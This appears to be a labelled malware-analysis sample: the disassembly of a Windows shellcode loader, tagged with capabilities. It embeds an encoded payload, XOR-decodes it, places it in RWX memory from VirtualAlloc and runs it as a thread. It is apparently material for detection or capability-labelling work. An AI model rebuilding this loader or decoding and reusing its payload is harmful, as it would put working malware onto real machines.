Function at 0x1400029b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get system information on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa0], xmm6
mov qword [rbp + 0x98], 0xfffffffffffffffe
lea rdx, str.9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9_f3VWIIQbZ_YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsFgICAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39_f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9_f3J0V8UEwIQShDvCCeEfnGqz4QOUCZb1k9zZRfrP2kaoTlwQZQaY4tgZwQlaNp0lYfmGOcGoGYzblJRLD9V4TH2y6c1s4iOAMlePMttdpgghde216JUlvbWZ8MihFZ3JhZGRpJzwmOCgga2dleGl8YWpkbTMoRVtBTSg_JjgzKF9hZmxnf3soRlwoPSY5IQUCCM1l6QoDmhAeJZoutN1CPkoMbBYRT4p4JodhVtQQ_QXiL7U61RfcwKRjFq95GITSknVDXEYydGh4NjiMRT6a43pevMz6zCoiQMDcYy_1jHjhWWvhVp_6TPSIiL5RP8LaSwpz6FswyGtYnKUJda0rRw4YW4GE1isJ9yBukKGBzCetRpZrAZtf8AZPUpuLRg9gLYdXFeifw5yhKxN4jy6BQV14m_VHXb2WO3XrQXc7c0CxfgIM1rYMHGVMH6y9uyurrF7uMzIgsptJ4pFTYuzDslBKxx4qcw2ikCPTsks2vAe8rGqLYAwlP4eRcISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CBUCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl_X39zkxOiY5PjAmOCY5OzkIWQG3ZQ__
lea rsi, [rbp + 8]
mov rcx, rsi
call fcn.1400020bc
lea r8, [0x14002bab5]
lea r9, [0x14002bab8]
lea rcx, [rbp + 0x28]
mov rdx, rsi
call fcn.1400023cd
lea rcx, [rbp + 0x48]
lea rdx, [rbp + 0x28]
xor r8d, r8d
call fcn.1400010f0
lea rbx, [rbp + 0x48]
mov rcx, rbx
call fcn.140002cc8
mov rsi, rax
mov ecx, 0x1fffff
xor edx, edx
mov r8d, 0x21f8
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
lea r15, [rbp - 0x28]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [r15 + 4]
mov r12d, dword [r15 + 0x28]
lea r15, [rbp + 0x80]
mov qword [r15], r12
mov rcx, rbx
call fcn.140001d3a
xor edx, edx
div r12
mov rbx, rax
inc ebx
mov rcx, r14
mov r8d, r12d
mov r9d, ebx
call fcn.140002618
lea r12, [rbp + 0x88]
mov qword [r12], rax
lea rcx, [rbp + 0x68]
call fcn.140002cce
mov r13d, 1
cmp r13d, ebx
ja 0x140002af6
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x2000
mov rcx, r14
mov rdx, r12
xor r8d, r8d
mov r9, r15
call fcn.140004802
test eax, eax
je 0x140002ad7
lea rcx, [0x140036210]
lea rdx, str.AVM_error
call fcn.140002cf9
jmp 0x140002ae3
lea rcx, [rbp + 0x68]
mov rdx, r12
call fcn.140002cf4
mov rax, qword [rbp + 0x80]
add qword [rbp + 0x88], rax
inc r13d
jmp 0x140002a98
mov r14d, ebx
xorps xmm6, xmm6
xor r12d, r12d
cmp r12d, ebx
jae 0x140002bbd
mov rcx, rdi
call fcn.1400048d0
mov r13, rax
test edi, edi
je 0x140002b2c
xor eax, eax
mov cl, byte [rsi + rax]
xor cl, 8
mov byte [r13 + rax], cl
inc rax
cmp rdi, rax
jne 0x140002b19
xor ecx, ecx
mov rdx, r14
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
lea rcx, [rbp + 0x48]
call fcn.140001d3a
mov rcx, r15
mov rdx, r13
mov r8, rax
call fcn.140022160
xor r13d, r13d
mov qword [rbp + 0x90], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movups xmmword [rsp + 0x48], xmm6
movups xmmword [rsp + 0x38], xmm6
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x30], 0
lea rcx, [rbp + 0x90]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, rax
call fcn.1400047a1
mov rcx, qword [rbp + 0x90]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc r12d
add rsi, rdi
jmp 0x140002aff
lea rcx, [rbp + 0x68]
call fcn.1400023bc
lea rcx, [rbp + 0x48]
call fcn.1400010d6
lea rcx, [rbp + 0x28]
call fcn.1400010d6
lea rcx, [rbp + 8]
call fcn.1400010d6
xor eax, eax
movaps xmm6, xmmword [rbp + 0xa0]
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret